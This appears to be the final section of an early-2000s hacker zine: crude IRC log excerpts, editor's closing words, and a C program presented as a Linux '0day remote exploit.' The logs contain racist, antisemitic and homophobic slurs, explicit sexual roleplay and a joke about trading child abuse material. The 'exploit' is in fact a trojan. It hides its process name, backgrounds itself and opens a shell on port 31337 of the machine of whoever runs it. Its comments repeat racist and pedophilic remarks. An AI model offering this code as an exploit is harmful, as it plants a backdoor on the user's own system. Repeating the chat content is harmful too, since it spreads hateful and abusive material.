[21:29] <k-rad-bob> shes probably from kenya or something
[21:29] <{cryptic}> hahahaha
[21:29] <pixie_baby> ...
[21:29] <pixie_baby> ::dies:: shut up
[21:29] <k-rad-bob> :D
[21:29] <pixie_baby> its still early
[21:29] <pixie_baby> i'm like..
[21:29] <pixie_baby> nevermind!!
[21:29] <k-rad-bob> do you snort or blow?
<watashi-x> Oh my God! Are you attemping to DoS me?
<Polymer> WTF are you talking about dumb ass
<Polymer> I can't get into your MS-DOS
<Camo> nobody bullies me
<tak> the jocks beat me up
<tak> cause im diffrent
<Camo> except the nigger and mexican kids
<chris`> ever notice how the mini pizza pringles cans dont have a lot of pizza
stuff on them but the normal sized ones do?
<Prae> to make an observation like that
<Prae> you must weigh at least 500lbs
<lusta> im doin' route now, heh
<Pneuma> wyze1
<Pneuma> isn't it weird
<Pneuma> that "lusta" is an anagram for "aslut"
<firegate> can you hack??
<RLoxley> yep, why?
LeftAlone (~DomainWiz@gserver.gibca.co.ae) has joined #unix
LeftAlone is now known as new2Unix
<new2Unix> hi
<new2Unix> what's the command to create a user?
<Prae> kill -9 1
<-- new2Unix has quit (Free NT/2000 AdminToolz:
http://www.ascs.co.ae/admintoolz)
<T-cUrE> hey bob wanna fuck?
<k-rad-bob> im not sure cure
<k-rad-bob> you might be *cough* male
<prence> if its a female i call sloppy seconds
<k-rad-bob> im going to start talking about my penis and refering to him as an
almighty god in real life
<k-rad-bob> if that doesnt get me chicks i dont know what the fuck will
<Prence> im not gay!@#
<Camo> oh I see
<Camo> :)
<Prence> i was "experimenting"
<FireCube> Has anyone ever fired cum over there shoulder?
<LT> hello everyone
<LT> im looking for Eric Rutherford who's lives Houston, and he went to San Jac.
South college, any body know him?
<^40i3s> hack in the box is a program that takes servers and fits on to floppy
<Myko> Heather's not even worth those bum's that live behind grocery stores
<b0ld> notice in pizza shops you don't notice any jews like owning one or
operating one? I guess the ovens remind them of something
<chris`> im going on a computer nerd woman fucking spree at defcon
<chris`> if i go
<twist`> im going to be so fucked up at defcon
<chris`> you hear me?
<twist`> ill fuck goats
<chris`> FUCKING SPREE
<tgpretend> MICROSOFT BRAIN DRAIN CONTINUES. Fourteen-year
<tgpretend> vet. Paul Maritz resigns.
<tgpretend> how can he be an m$ veterna if he's only 14?
<Prence> then my mom will know i have sex with the coach
<Prence> i meant to say couch
<Camo> I have pics of leggless and armless people and other funny stuff
<Camo> but they're not developped yet
<Camo> or somebody stole my film
<Nekrosis> haha, did you hear that a bunch of other 1337 ninjas threw tak in a
pool at defcon because they thought he was a jew...
<Nekrosis> at some hotel.
<Nekrosis> rofl
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<tak> IF YOUR A FAGIT AND YOU KNOW IT, CLAP YOUR HANDS
<tak> <solar> *clap* *clap*
<Prae> were you breast fed as a baby, bob?
<k-rad-bob> ys
<Prae> did you enjoy sucking you rmommies boobies?
<k-rad-bob> yes
<k-rad-bob> it was my best childhood memory
<Prae> you remember?!
<Prae> YOU REMEMBER SUCKING THEM!?
<Prae> WH0RD !
<k-rad-bob> nibbling her nipples with my toothless gums
* Prae covers his erection with a cushion
<Prae> :)))
<pac> THAT DUDE THAT LOOKS LIKE ZERO COOL
<pac> IN MY SCHOOL
<Prence> ?
<nekrosis> whoops
<pac> I YELLED ZERO COOL DURING LUNHC
*** Rene14 has joined #b0g
<pac> AND HE STOOD UP
<niemand1> lol
<pac> AND LOOKED AROUN
<Camo> I have braces that comes out my mouth and goes around my head
<Camo> and connects on my back to my spine
*** Dawgyman has joined #b0g
<Camo> dawgyman likes to trade pokemon trader cards
<k-rad-bob> LOL
<Camo> tgpretend, have you ever tried wiping yoru ass with a 100 dollar bill
before spending it?
<Loopy> Bronc called me elite!@#$
<twisty> uh no he didnt
<twisty> he called you a stupid sack of shit
<twisty> remember?
<Loopy> oh yeah :(
<xxxxxa> hello every one i am looking for a hacker that can hack a hotmail email
will give 20$ for it.if you can msg me.
<k-rad-bob> lol
<k-rad-bob> xxxxxa we made a bot for this objective
<xxxxxa> what do u mean with bot?
<k-rad-bob> just /msg bobskc login:hack password:your-mother <the-email-you-
want-hacked@hotmail.com> suck my fathers cock! <your@email.com>
<dageshii> hmm raptures arrival is usually the cue to start being worried
[11:13] (xxxxxa): yeah
[11:13] (wh0rde): alright
[11:13] (xxxxxa): am i talking to one?
[11:13] (wh0rde): theres someone you can talk to, but she only talks to you if
you trade kiddie porn with her
[11:14] (wh0rde): ./msg b|ueberry I got some kiddie porn to trade for some
hotmail hacking
*** tress is now known as unixgrl
<phyrewyre> lol
<unixgrl> hi boys @:!~
<k-rad-bob> hi!
<unixgrl> asl
<kidjess> heh
<k-rad-bob> use the infamous "i just broke a nail while coding a new bind
exploit" line
<kidjess> I love asl
<phyrewyre> HAHHAHAHA
<k-rad-bob> that'll turn us on!
<kidjess> thats sooo cute
<kidjess> it reminds me of cyber days in teensex
<k-rad-bob> heh
<kidjess> or teenchat
<phyrewyre> LOL
<k-rad-bob> you perv!
<phyrewyre> pervert1
<phyrewyre> pervert!
<unixgrl> i've been coding a new linux kernal and its make me so horny my pussy
is wet
* phyrewyre points at jess
<k-rad-bob> lol
<phyrewyre> HAAHA
* unixgrl takes off her knickers
* k-rad-bob ejaculates fiercly, leaving fresh twads of juiy cum smeared all over
his boxers at the mental image
<k-rad-bob> i need to restore my sexlife dammit
<phyrewyre> ROFL
* unixgrl stretches her long, silky legs
<phyrewyre> AHHAHAHAHA
<kidjess> hahaha
<unixgrl> dont we all
* unixgrl rubs her throbbing clit with the mouse
<kidjess> k-rad is a professional cyber guy
<k-rad-bob> hehe
* unixgrl pushes a mouse in her cunt
<k-rad-bob> lol
<k-rad-bob> at ease soldier
* unixgrl leaves the wire dangling out
<kidjess> I should join teen sex
<kidjess> hehe
<phyrewyre> ROFL
<k-rad-bob> stuff the plug in your gaping rectum!
* unixgrl swings it round and round
<phyrewyre> AHHAAHAHAH
* unixgrl ties up kidjess with it
* unixgrl eat it out sugar
<Sputn1k> what channel?
<chris`> #ukfags
<Wizkid> yes
<chris`> *** Now talking in #ukfags
<chris`> *** Joins: Sputn1k (penis@204.244.254.100)
<chris`> <chris`> haha!
<chris`> <chris`> tricked you!
<chris`> *** Parts: Sputn1k (penis@204.244.254.100)
(ø) Now talking in #lesbians
<Prence> hi everyone, im an 18/f/lesbo, anyone want sex?
<Jenny23> i do, send me your picture sexy honey
<Prence> ok
(ø) File old_naked_lady.jpg (58.3Kb) sucessfully sent to Jenny23
<Prence> do you like it?
<Jenny23> ughhh yeah im masturbating to it now
<Synergy> take it outside please
<Prence> fine then im gone
(ø) Parts: Prence (pr3nc3@max1-89.bscn.com)
************ 20 seconds later ************
Query with Jenny23 (hhh@modemcable003.140-202-24.nowhere.mc.videotron.ca)
Common channels: none
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<Jenny23> waitttt
<Prence> yes?
<Jenny23> describe what ur doin right now
<Jenny23> im really excited after seeing ur pic
<Jenny23> ur breasts are so lickable
<Prence> :)
<Prence> im sticking the candle stick in my pussy
<Jenny23> mmmm
<Jenny23> go on
<Prence> and rubbing my nipples, the candle stick is so wet now
<Prence> oh yeah did i tell you it was light?
<Prence> it makes me hot
<Jenny23> mmmmmm
<Jenny23> ahhhhhh go onnnn
<Prence> are you masturbating?
<Prence> oh shit! the candle stick fell in, fuck fuck fuck, oh that lit candle
inside my pussy is kind of hot
<Jenny23> yea i am
<Jenny23> mmmm
<Jenny23> ill get a candle myself
<Jenny23> im gettin jealous
<Prence> oh my, that candle burns, oh well, i got a free bikini wax
<Prence> :)
<Prence> go get a candle
<Jenny23> i just did
<Jenny23> hmm
<Prence> make sure its not the cheap kind cause they break and you will have a
piece of wax in your pussy forever
<Jenny23> i got two
<Jenny23> :P
<Jenny23> hahaha
<Jenny23> ok
<Prence> are you shoving it in?
<Jenny23> im takin of my g-string
<Prence> is it making you wet?
<Prence> you were wearing a g-string? mmmmm sekzt
<Prence> sekzt
<Prence> sekzy
<Jenny23> oh yea
<Prence> damn i cant type when im masturbating
<Jenny23> yea i always do ;))
<Prence> im wearing an f-string
<Jenny23> whats that?
<Prence> a different kind of g-string, when you walk the string rides up in your
pussy and makes you want to orgasm in someones eye
<Jenny23> i gatta go im too wetttt
<Jenny23> bye babyyyy
<Jenny23> xoxox
<Prence> bye sekzy masturbataholic candle user
<Smoke`> <Smoke`> ./me hack Tak, Exec[Open Cd-Rom] Prompt -Hacked-
<Smoke`> <Smoke`> Except no Period
<Smoke`> <mikex> what does it do
<Smoke`> <Smoke`> Gets into there C Drive
<Smoke`> <Smoke`> Try it in #hackphreak
<Smoke`> <mikex> cool
<Smoke`> <mikex> k
* mikex hack Tak, Exec[Open Cd-rom] Prompt -Hacked-
* mikex hack Insomina, Exec[Open Cd-rom] Prompt -Hacked-
<Smoke`> KNFAI*(#*&R LMFAO A(*&#R
<mikex> SMOKE open my CD-ROM k?
* Smoke` mikex Exec(Open Cd-Rom)
<mikex> it didnt work
<mikex> why didnt it do anything
<Smoke`> It did
<mikex> it didnt open my cd drive
<Smoke`> Yes it did
<mikex> no it didnt
<Smoke`> it did it SO fast u couldnt tell
<mikex> what ever
* Smoke` hack mikex Exec(Silent Delete C:\)
<Smoke`> h0h0 mikex
<Smoke`> Im hacking you!
<mikex> uhhh what wuz that
<Smoke`> its Deleting your hard drive mikex!
<Smoke`> QUICK MIKEX
<Smoke`> DO IT
<Smoke`> TURN OFF COMPUTER B4 IT RUINS YOUR SYSTEM MIKEX
<Smoke`> SERIOUSLY!
Quits: mikex (mikex_15@1Cust30.tnt16.hou3.da.uu.net) (Read error to
mikex[1Cust30.tnt16.hou3.da.uu.net]: Connection reset by peer)
[14:45] <poo> help tefx!
[14:45] <poo> i cant change it to hf anymore!
[14:46] <poo> look i type:
[14:46] <poo> ./nick hf
[14:46] <poo> and it does this
[14:46] *** poo is now known as hf
[14:46] <hf> oh.
[14:46] <hf> ok.
<Camo> prence: someone at school played a prank on a loser and they fed him like
a whole bottle of viagra by putting it under the cheese of his pizza and then in
the middle of class, his penis exploded and he had to go to the hospital
<solidex> I mean, I've got the vi pocket reference but im still confused
<c0redump> Which ircop owned you?
<cmJ\\> lol
<cmJ\\> pokebonk
<cmJ\\> cuz i "threthen" him
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<Florinux> who is runing RedHat with BSD kernel?
<Violet`:#unix> er.... can anyone tell me what the telnet command is to edit an
htm page?
<smooth> man i got maleria twice when i was there
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[tak-] cause fat people make good hax0rs
[twisty] like prae, only with skills
<negrox> I hate dogs
<negrox> they bite and shit.
<twist> so does prae but we still love him
<k-rad-bob> prae has more skills then somalia has hunger
[20:30] <k-rad-bob> i just had a nap ;/
[20:30] <k-rad-bob> i hate the way i feel when i wake up after a nap
[20:30] <k-rad-bob> i wish some child would walk in my door and ask me to buy
some fucking cookies just so i could fling him out the nearest window
<tak> do you think they will hire me?
<Prae> you guys wont get a job at home.com
<Prae> you're not stupid enough.
<Prae> AHHHHHHHHHHHHHHHHHHHHHHH!!!!!!!!!
<Prae> I JUST SET MY PUBES ON FIRE
<Prae> AND THEY DIDNT GO OUT
<Prae> I HAD TO THROW MILK ON THEM TO PUT THE FIRE OUT
<Prae> HOLY FUCK THAT WAS SCARY
[note from ed, prae really did set his pubes on fire]
<assass|n> au a bog is faeces
<k-rad-bob> assass|n is gagging for a shagging!
<prence`> lol
<prence`> really?
<assass|n> yes
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<assass|n> "im going to hang a bog
<assass|n> "
<prence`> haha
<assass|n> k-rad u offering?
<k-rad-bob> i think i am
<k-rad-bob> it would help if you were female but... soya oil and faith will do
<assass|n> hahaha
<prence`> lol
<assass|n> k-rad have u ever had a different nick?
<prence`> h0h0
<prence`> 808
<phrzrburn> k-rad-bob used to be known as Rloxley
21:38] <+Rane> Everyone turn to the discovery channel.
[21:38] <+pinkboi> what about it?
[21:38] <+LiL-A> hey bobberz
[21:38] <+Rane> There's a special on masturbation.
[21:38] <@k-rad-bob> hi lila :D
[21:38] <@k-rad-bob> rane tape it
[21:38] <+pinkboi> haha no way
[21:38] <@k-rad-bob> please
[21:38] <@k-rad-bob> and send it to me
[21:38] <@k-rad-bob> i beg of you
[21:38] <+optimum`> lol
[21:38] <+Rane> k-rad-bob: Don't you get that channel?
[21:38] <+optimum`> we need a transcript for b0g
[21:39] <+CodeMason> hehe
[21:39] <@k-rad-bob> no rane ;(
[21:39] <@k-rad-bob> i dont have cable
[21:39] <+pinkboi> woo terminator on sci-fi
[21:39] <@k-rad-bob> i only have 4 channels
[21:39] <+optimum`> lol
[21:39] <+Rane> What good are you?
[21:39] <+optimum`> poor bob
[21:39] <+LiL-A> and all 4 of em are prolly porn
[21:39] <+Rane> You poor piece of shit!
[21:39] <+optimum`> wtf do you do all day?
[21:39] <@k-rad-bob> sadly none of htem are pr0n ;(
[21:39] <+optimum`> 4 channels of porn would be nice
[21:39] * +Rane thinks maybe he masturbates
[21:39] <+pinkboi> drink?
[21:39] <+pinkboi> then drink more?
[21:39] <+optimum`> mastrubation without porn?
[21:39] <+Rane> then masturbate
[21:39] <+optimum`> on tv
[21:39] <+Rane> then drink more
[21:39] <+pinkboi> hell i don't get one channel of porn
[21:40] <+optimum`> i get 2 :)
[21:40] <+pinkboi> *even
[21:40] <+optimum`> one's all snowy and without sound but it's still porn
[21:40] <+pinkboi> haha
[21:40] <+Rane> Okay, now the hold lady is teaching masturbation
[21:40] <+Rane> make it stop!
[21:40] <@k-rad-bob> rane you besta tape it
[21:41] <+pinkboi> dude...where are you seeing this?
[21:41] <+Rane> Discovery Channel
[21:41] <+pinkboi> i'm seeing a boat floating back and forth...
[21:41] <+optimum`> lol
[21:41] <+prieft> bah
[21:41] <+prieft> discovery europe doesnt show it
[21:41] <+prieft> :/
[21:41] <+Rane> Oh, mine is the canadian one
[21:41] <+CodeMason> lol
[21:41] <+pinkboi> discovery new york doesn't either =P
[21:41] <+Rane> Now they are comparing filling a pita with vegetables to
masturbation
[21:42] <+CodeMason> is k-rad norwegian?
[21:42] * +Rane shrugs
[21:42] <+pinkboi> ahahah
[21:42] * +CodeMason eyeballs the host
[21:42] *** skint0r (skint@port53.msx16-osl.ppp.cybercity.no) Quit
(http://solveggen.org /// høhø)
[21:42] <+pinkboi> ok who here is out of the U.S.?
[21:42] <+optimum`> wtf does filling a peta have to do with jackin off?
[21:42] <+Rane> omfg
[21:42] <+pinkboi> lol
[21:42] <+CodeMason> I'm from aussieland :o
[21:42] <+Rane> The old lady masturbation teacher has blue hair and blue
eyebrows and thick glasses
[21:42] <+optimum`> lol
[21:42] <+pinkboi> dude why can't we get that kind of quality programming
[21:42] <+optimum`> she's old?
[21:42] <+Rane> HAHAHA
[21:43] <+Rane> OMG
[21:43] <+Rane> LAWL
[21:43] <+Rane> FOFLMAO
[21:43] <+CodeMason> lololol
[21:43] <+optimum`> fuck us programming
[21:43] <+optimum`> i wanna see mastrubation tutorials
[21:43] <+Rane> "My worst nightmare was at age 14 my mother sitting me down and
trying to teach me to masturbate, ahahah"
[21:43] <+Rane> BAAAAAHAHAHAHAH!
[21:43] <+optimum`> LOL
[21:43] <+pinkboi> *old lady voice* "Back in my day...I jacked off 10 men before
i even went to bed every night.."
[21:43] <+optimum`> they did not say that
[21:43] <+pinkboi> AHHHHHH!!!!
[21:43] <+CodeMason> ROFLMAO
[21:43] <+pinkboi> THAT WAS SO FUCK ME UP!!
[21:43] <+CodeMason> HAHAHAHAHAHA
[21:43] <+optimum`> lol
[21:43] *** thep0et (webgeek@06-081.008.popsite.net) Quit (Leaving)
[21:43] <+Rane> That is FUNNY
[21:44] <+pinkboi> "now hunny you stroke up and down like this...here i'll
demonstrate on daddy"
[21:44] <+optimum`> lol
[21:44] <+Rane> She was like a mom too
[21:44] <+optimum`> "you wanna take over sweetie?"
[21:44] <+Rane> She looked about 40 ish
[21:44] <+pinkboi> AHH!
[21:44] <+Rane> "I ran out of the room screaming in embarassment"
[21:44] <+optimum`> lol
[21:44] <+pinkboi> ahahahahahah
[21:44] <+optimum`> no shit
[21:44] * +CodeMason shudders
[21:44] * +CodeMason violently siezures
[21:44] <+Rane> Oh, it's commercials :/
[21:45] <+Rane> Oh whee, it's back on!
[21:45] <+pinkboi> lol
[21:45] <+Rane> WTF
[21:45] <+Rane> THEY ARE STROKING CARROTS
[21:45] <+Rane> AND CUCUMBERS
[21:45] <+pinkboi> woo here it comes
[21:45] <+pinkboi> OMG!
[21:45] <+optimum`> no fucking way
[21:46] <+Rane> It's showing like, a family picnic
[21:46] <@k-rad-bob> rane you besta be taping this!
[21:46] * +prieft wonders if they have streaming video on the website
[21:46] <+optimum`> lol
[21:46] <+LiL-A> lmao
[21:46] <+Rane> And dad is acting like the carrot is a dick
[21:46] <+pinkboi> lol
[21:46] <+optimum`> holy shit
[21:46] <+optimum`> in front of the kids?
[21:46] <+Rane> I didnt see kids
[21:46] <+optimum`> canadians are fucked up
[21:46] <+Rane> it was only for a second
[21:46] <+optimum`> oh
[21:46] <+CodeMason> man
[21:46] <+pinkboi> hell yes they are
[21:46] <+Rane> I hope there was no kids
[21:46] <+optimum`> lol
[21:47] <+prieft> how ghay
[21:47] <+prieft> they dont :/
[21:47] <+CodeMason> canadian discovery is gradually turing into a hardcore porn
channel by the day :o
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error to Part1ti0n[adsl-141-151-136-220.bellatlantic.net]: Connection reset by
peer)
[21:47] <+pinkboi> lol
[21:47] <+optimum`> no more stroking cucumbers?
[21:47] <+CodeMason> polaris sucks ass!
optimum No such nick
optimum End of /WHOIS list.
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[21:47] <+Rane> No, they are saying how it used to be bad
[21:48] *** optimum` is now known as optimum
[21:48] <+Rane> AHHHHH!
[21:48] <+optimum> lol now it's good?
[21:48] <+Rane> IM SCARED FOR LIFE
[21:48] <+optimum> what now?
[21:48] <+CodeMason> man
[21:48] <+Rane> SCARRED RATHER
[21:48] <+CodeMason> somethingawful.com would LOVE this
[21:48] <+Rane> Well...
[21:48] <+pinkboi> ????
[21:48] <+Rane> There's this silhouette
[21:48] <+Rane> and it turns
[21:48] <+optimum> oh shit
[21:48] <+Rane> and you see the hard-on
[21:48] <+pinkboi> AHHHH!
[21:48] <+Rane> and he starts stroking
[21:48] <+optimum> LOL
[21:48] <+Rane> AHHH!
[21:48] <+pinkboi> ahahahah
[21:48] <+CodeMason> OMFG!!!!
[21:49] <+Rane> CLOSE UP OF MALE DICK
[21:49] <+optimum> it's like boogie nights unedited on cable
[21:49] <+optimum> lol
[21:49] <+Rane> NO
[21:49] <+Rane> GO AWAY
[21:49] <+pinkboi> LOL
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[21:49] *** Beep sets mode: +v fro
[21:49] * +CodeMason violently siezures
[21:49] <+Rane> Oh, commercials.
[21:49] <+optimum> i was canadian cable
[21:49] <+optimum> want*
[21:49] <+pinkboi> candadia rules =P
[21:49] <+pinkboi> canadia even
[21:49] <+Rane> Canada.
[21:50] <+Rane> Right before it had that close up of the dick
[21:50] <+Rane> there was these 2 chicks masturbating
[21:50] <+pinkboi> woo hoo
[21:50] <+Rane> then one went and helped the other
[21:50] <+optimum> sweet
[21:50] <+CodeMason> lol
[21:50] <+CodeMason> LOL!!
[21:50] <+pinkboi> american cable blows hard
[21:50] <+CodeMason> LESBIAN PRON!
[21:50] *** LiL-A (~sweetange@205.174.81.96) Quit (what you can't have, you
can't resist, in the game of seduction, there is only one rule, never fall in
love...._)
[21:51] <+pinkboi> *and the chorus swells*
[21:51] <+CodeMason> what time is this on?
[21:51] <+CodeMason> 4pm?
[21:51] <+pinkboi> yea seriosly i wanna see this!
[21:51] <+prieft> http://exn.ca/sexfiles/Home.cfm
[21:51] <+Rane> It's the sex files
[21:51] <+prieft> thats the site of that program liek
[21:51] <+pinkboi> this is discovery??
[21:51] * +prieft just found it
[21:51] <+prieft> :P
[21:51] <+Rane> yah
[21:52] <+CodeMason> lolol
[21:52] <+Rane> It's back!
[21:52] <@k-rad-bob> LOL@that poor flash intro"
[21:52] <@k-rad-bob> !
[21:52] <+pinkboi> seriosly
[21:52] <+Rane> Uhh
[21:52] <+Rane> Big naked dolls.
[21:52] <+prieft> OMG
[21:52] <+prieft> THEY HAVE A VIDEO
[21:52] <+Rane> HAHA
[21:52] <+pinkboi> haha...wow doesn't that stick out..."THE VAGINA"
[21:52] <+Rane> YOU GUSY CAN WATCH IT WITH ME
[21:52] <+prieft>
http://exn.ca/sexfiles/Templates/VideoPopup.cfm?clip=/news/video/20001108-
sf2000-dodson.asx
[21:52] <+Rane> err
[21:52] <+Rane> GUYS
[21:53] <+optimum> "I now proclaim that mastrubation has come of age"
[21:53] <+pinkboi> OMG THERES ThE BLUE hAIRED CHICK
[21:53] <+Rane> Is it the whole video?
[21:53] <+Rane> AHH!
[21:53] <+Rane> YES!
[21:53] <+Rane> SEE!
[21:53] <+optimum> lol
[21:53] <+Rane> I'm at the part with these $5000 lifelike dolls
[21:54] <+optimum> "fantasy for flesh" "when it comes to giving yourself a hand
it's often the thought that counts"
[21:54] <+optimum> LOL
[21:54] <+CodeMason> lol!
[21:54] <+Rane> (nude female ones)
[21:54] <+prieft> yeh
[21:54] * +CodeMason goes out and buys "they joys of selfloving"
[21:54] <+prieft> Rane: www.realdoll.com
[21:54] <+optimum> OMFG
[21:54] <+prieft> go there :P
[21:54] <+CodeMason> *the
[21:54] <+Rane> Find the part I said about the mom teaching the 14
year old!
[21:54] <+optimum> CRACKERS, FLAKES AND THE HISTORY OF MASTURBATION
[21:54] <+optimum> Graham crackers and Kellogg's Corn Flakes are household items
today. A century ago, they were weapons in a religious war on masturbation.
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[21:54] <+Rane> AHHH!
[21:54] <+Rane> A MALE DOLL!
[21:54] <+Rane> EW
[21:54] <+CodeMason> gross
[21:54] <+Rane> lmao cartoons!
[21:54] <+Rane> BAAAHAHAHA
[21:54] <+Rane> THE GUY JUST MASTURBATED WITH HIS LAPTOP
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[21:54] <+Rane> Cartoons are funny.
[21:54] *** Beep sets mode: +v c0redump
[21:55] <+CodeMason> lol!!!!!
[21:55] <+pinkboi> wtf??!
[21:55] <+optimum> with his laptop? how do i do this?
[21:55] <+Rane> Cybersex suits?
[21:55] <+c0redump> b0w.
[21:55] <+prieft> he prolly got that fufme.com device
[21:55] <+prieft> :P
[21:56] <+Rane> Oh whee, more cartoons
[21:56] <+optimum> that thing is fucking weird
[21:56] <+optimum> i wouldn't put my dick in it
[21:56] <+Rane> I don't get it.
[21:56] <+CodeMason> gross!
[21:56] <+pinkboi> might get lopped off?
[21:56] <+Rane> Whoa, those are like 1920s vibrators
[21:56] <+CodeMason> look at some of the future show titles
[21:56] <+CodeMason> "sexual juices"
[21:56] <+CodeMason> "intersexed people"
[21:56] <+CodeMason> "the rear end"
[21:56] <+optimum> lol
[21:56] <+pinkboi> haha
[21:56] <+optimum> i wanna see #3
[21:57] <+CodeMason> yeah
[21:57] <+CodeMason> :D~~~~~
[21:57] <+optimum> what did girls use as vibrators in the '20s?
[21:57] <+Rane> AHH
[21:57] <+Rane> OLD LADY MASTURBATING
[21:57] <+Rane> FAT OLD LADY
[21:57] *** jess-out (~jess@206.155.213.96) Quit
[21:57] <+pinkboi> AHHHHHH!!!!!!
[21:57] <+pinkboi> *cower*
[21:57] <+optimum> ewwwww
[21:58] <+CodeMason> lol
[21:58] <+Rane> Aww its over
[21:58] <+CodeMason> they have a random factoid ticker
[21:58] <+CodeMason> Shocking but true
[21:58] <+CodeMason> Married men masturbate more than married women.
[21:58] <+pinkboi> wow...amazing
[21:59] <+CodeMason> Good old dirty fun
[21:59] <+CodeMason> The word masturbation is derived from a Latin word which
means "to pollute oneself".
[21:59] <+Rane> I think that log should be in the next b0g.
[21:59] <+optimum> if i have to mastrubate while married i'll divorce the
untalented bitch
[21:59] <+pinkboi> definatly
[21:59] <+prieft> SOMEONE POINT HIS FUCKING WEBCAM ON HIS TV AND TURN IT ON AND
TELL ME THE ADDY
[21:59] <+pinkboi> haha
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[21:59] <+pinkboi> lol
[21:59] <+prieft> GN0W
[21:59] <+Rane> k-rad-bob
[21:59] <+Rane> Put that in the next bog!
[22:00] <@k-rad-bob> im too drunk to pay attention!
[22:00] <+optimum> lol
[22:00] <@k-rad-bob> email it to me!
[22:00] <+Rane> ok
[22:00] *** Abusive sets mode: +l 31
[22:00] <+CodeMason> OMFG LOL!!!
[22:00] <+CodeMason> Good old dirty fun
[22:00] <+CodeMason> The word masturbation is derived from a Latin word which
means "to pollute oneself".
[22:00] <+CodeMason> damn
[22:00] <+Rane> fuck
[22:00] <+CodeMason> Doing it til you're blue in the face
[22:00] <+CodeMason> Autoerotic asphyxiation -- the term to describe temporarily
suffocating oneself while masturbating -- claims somewhere between 250 and 1,000
people a year
[22:00] <+prieft> well nofx is right
[22:00] <+Rane> was anyone logging?
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[22:. - [ closing words ] [k-rad-bob] :. ]
[k-rad-bob@b0g.org] :. ]
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My deepest apologies to everyone that has been waiting so long for this issue.
Other then the fact that me, myself and the rest of the contributors are lazy
gimps, I dont have many valid excuses. We moved from www.pcisd.com to our very
own server, thanks to solar, we all love you! Which caused some delay since we
were forced to rebuild some of the site.
Now, if you want to see the next issue released this year you besta get your act
together and write us some articles! Remember, b0g lives because of you.
Much love goes out to everyone that contributed to this and past issues,
everyone that is thinking of doing so, everyone that fears, you for reading
this, everyone in #b0g on undernet, samn, stefano, gyrate, val, leah and the
rest of the gimps at www.survivorer.com <-- go there and root for me!
I'm one of now 9 people that might win a million bucks!%@!
Everyone that visits our site, everyone that links our site!
Stile, solar, progen and the gimps at progenic.com, the gimps at alldas.de,
shizniz and the gimps at hack-net.com, alan and the gimps at packetstorm,
everyone who mirrors our superdastic zine, everyone who sends me emails,
everyone who listens to my crazy ramblings on irc, everyone who doesnt laugh at
me when I pass them, chicks who doesnt turn around and hit me when I grope a
feel of them at clubs or concerts, the guy who planed to assassinate Nsync,
Rloxley, the feds who hang on irc, taks mom for giving birth to him, dade
murphy and the guys at 2600 for bringing us the coolest movie ever!
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/*
*
* 0day remote exploit for all linux distributions with
* kernel 2.2 or 2.4
*
* By: Rloxley
*
* shoutoutz: SSG, gov-boi, Solar Designer, ISS, EHAP, and
* Mary from 10th grade that let me hold her
* hand (it was the first time I ejaculated)...
* I miss you, baby ...sorry about the mess
*
* fuckj00z: OpenBSD Team - trying to compete with my
* favorite OS, Windows. Give
* it up, lamers, OpenBSD will
* never be as secure as NT.
* God - he made me ugly...
* and stupid
* Pedophiles - becuz they never raped me when
* I was a ./kid
* b0g - sexy hackers that get me horny and make
* me get off my lazy ass and masturbate
* racists - for being lazy the last 50 years
* and not killing all those damn jews,
* niggers, chinks, etc...
*
*/
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 31337 /* DO NOT CHANGE! */
char linuxcode[]= /* leet shellcode I wrote */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main (int argc, char *argv[])
{
int i;
int cabbage; /* mmm mmm... i love cock ..err.. cabbage */
if(argc != 2) {
printf("\nUsage: %s <host>\n\n", argv[0]);
exit(-1);
}
printf("\n:: Ultimate linux spl0it ::\n\n");
printf("By: Rloxley\n");
printf("#hackphreak @ undernet\n\n");
printf("0wning %s...\n",argv[1]);
for(i=0; i<argc; i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"ls -alF");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if(soc_rc != 0)
exit(-1);
if(fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
/* if you... have a son / know a boy / have a friend ..that */
/* is in the 4-12 age group, send me pr0n... */
if(fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if(soc_rc != 0)
exit(0);
while(1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if(soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork(); /* fork? nahh.. i usually use a banana */
/* to stick up my ass... */
if(server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
for(cabbage = 1; cabbage < 15; cabbage++) {
printf(".");
sleep(1);
}
printf("\n\nb0x successfully owned!!\n");
}
close(soc_cli);
}
return 0;
}
/* I INVENTED THE INTERNET!!! PH33R ME! */
